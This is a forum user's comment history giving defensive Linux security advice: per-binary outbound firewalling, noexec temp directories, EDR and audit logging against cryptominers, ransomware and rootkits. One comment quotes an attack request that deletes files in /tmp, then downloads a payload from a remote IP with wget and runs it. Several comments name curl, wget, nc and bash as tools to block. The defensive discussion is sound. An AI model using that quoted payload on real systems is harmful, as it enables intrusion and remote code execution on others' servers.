Preferences

gus_
Joined 58 karma

  1. restricting outbound connections by binary: OpenSnitch .

    You can also restrict outbound connections to cryptomining pools and malicious IPs. For example by using IOCs from VirusTotal or urlhaus.bazaar.ch

  2. I agree. That's why I said that it's also useful. It won't work in all scenarios, but in most of the cryptomining attacks, files dropped to /tmp are binaries.
  3. it doesn't matter what netfilter frontend you use if you allow outbound connections from any binary.

    In order to stop these attacks, restrict outbound connections from unknown / not allowed binaries.

    This kind of malware in particular requires outbound connections to the mining pools. Others downloads scripts or binaries from remote servers, or try to communicate with their c2c servers.

    On the other hand, removing exec permissions to /tmp, /var/tmp and /dev/shm is also useful.

  4. probably no:

    https://github.com/evilsocket/opensnitch/discussions/1290

    that malware campaign is still active.

  5. nowadays, restricting outgoing connections initiated by unknown binaries should be a must. Specially if it's launched from /tmp

    Lulu or Little Snitch should have warned the user and stopped the exfiltration of data.

  6. I haven't taken a look at the malware, but it seems to download files from the Internet so it should have warned you to allow/deny the outbound connections.

    It'd be nice to test it with a sample of aur package/malware.

  7. Unfortunately that is not entirely true.

    For example, when closing firefox on OpenSUSE Leap 15.6, "pingsender" is launched to collect telemetry:

    https://imgur.com/a/k3Nnbbj

    It has been there for years. It is also on other distros.

  8. The campaign is using Go packages just as a mechanism to download a ransomware for Linux systems, and it specifically checks if the Documents/ directory exists for the current user. If it doesn't exist it does nothing.

    That's probably why the malware sandboxes are not detecting the outbound connections and the encrypting activity.

  9. The article misses one critical point in these attacks:

    practically all these attacks require downloading remote files to the server once they gain access, using curl, wget or bash.

    Restricting arbitrary downloads from curl, wget or bash (or better, any binary) makes these attacks pretty much useless.

    Also these cryptominers are usually dropped to /tmp, /var/tmp or /dev/shm. They need internet access to work, so again, restricting outbound connections per binary usually mitigates these issues.

    https://www.aquasec.com/blog/kinsing-malware-exploits-novel-...

  10. was this the malicious plugin? (from the reddit thread [0])

    https://github.com/jabberplugins/pidgin-screenshare

       The plugin uses a reverse-tunneling SocketIO-server (to bypass NAT) on https://jabberplugins.net (*hosted by me*) which is used for routing OTR-encrypted (if enabled) screenshare packets between you & your buddy.
    
    It also includes the libotr lib, modified by the author.

    I'd love to read the analysis by Johnny Xmas, the report from 0xfffc0000 and even the binary so other people can test it with other tools and/or analyze it.

    [0] https://www.reddit.com/r/linux/comments/1f1jv08/comment/lk1o...

  11. An EDR would have detected an inbound connection to port 22. Then it'd have detected the attacker's activity (opened files, executed commands, etc)

    If the EDR is capable of intercepting the forks, clone() execves, open(), etc, then you can follow the traces. If it's able to deny certain activity based on rules like modifying /etc/ld.so.preload or download files with curl/wget, it'd have made the attacker's life a bit more difficult.

    If the attacker loaded a rootkit, then probably you'd have lost visibility of what the attacker did after that. Also not all the EDRs hook all the functions, or they have bugs, so many times you are not able to follow a trace (without pain/guessing).

    This telemetry usually is sent to a remote server, so the attacker could not have deleted it.

  12. with [0] you can disable network access by application.

    [0] https://github.com/TrackerControl/tracker-control-android

  13. > GET /shell?cd+/tmp;rm+-rf+*;wget+ 107.6.255.231/jaws;sh+/tmp/jaws

    in the case of a successful attack, some questions to ask could be:

    - why did they manage to use wget?

    - why {apache,nginx,postfix,exim,sendmail,...} is allowed to use wget, or curl, or nc or bash (or ...)?

    - why is wget, curl, nc, telnet, .. installed on the server? can they be uninstalled? with (!!) if it's a container.

    - why did they manage to execute files from /tmp, or /var/tmp, or /dev/shm? do these directories need write access for "others" or can they be mounted with "noexec"?

    - ufw/iptables/nftables won't stop local binaries from opening outbound connections, how would you stop outbound connections by binary, path, etc?

    - if they managed to wipe the logs, how could you have known all the commands they executed? could auditd+grafana (just an example) have helped here by sending logs to a remote server?

  14. Could you post an example of using SELinux to allow/deny connections per application/ip/domain/port/uid/application path in an interactive manner?
  15. OoenSnitch can, but it's not implemented O:) (only as a PoC)

    But does it have any sense? Usually you block inbound connections, allowing only certain services. If a rogue process starts listening on a local port, you could display a warning alert, and as inbound connections are already blocked you'd be safe (as long as you trust netfilter...) and you wouldn't need to ask the user to perform an action.

  16. unfortunately malicious lkms and userland rootkits can hide processes/connections from lsof/netstat

    https://github.com/gianlucaborello/libprocesshider

This user hasn’t submitted anything.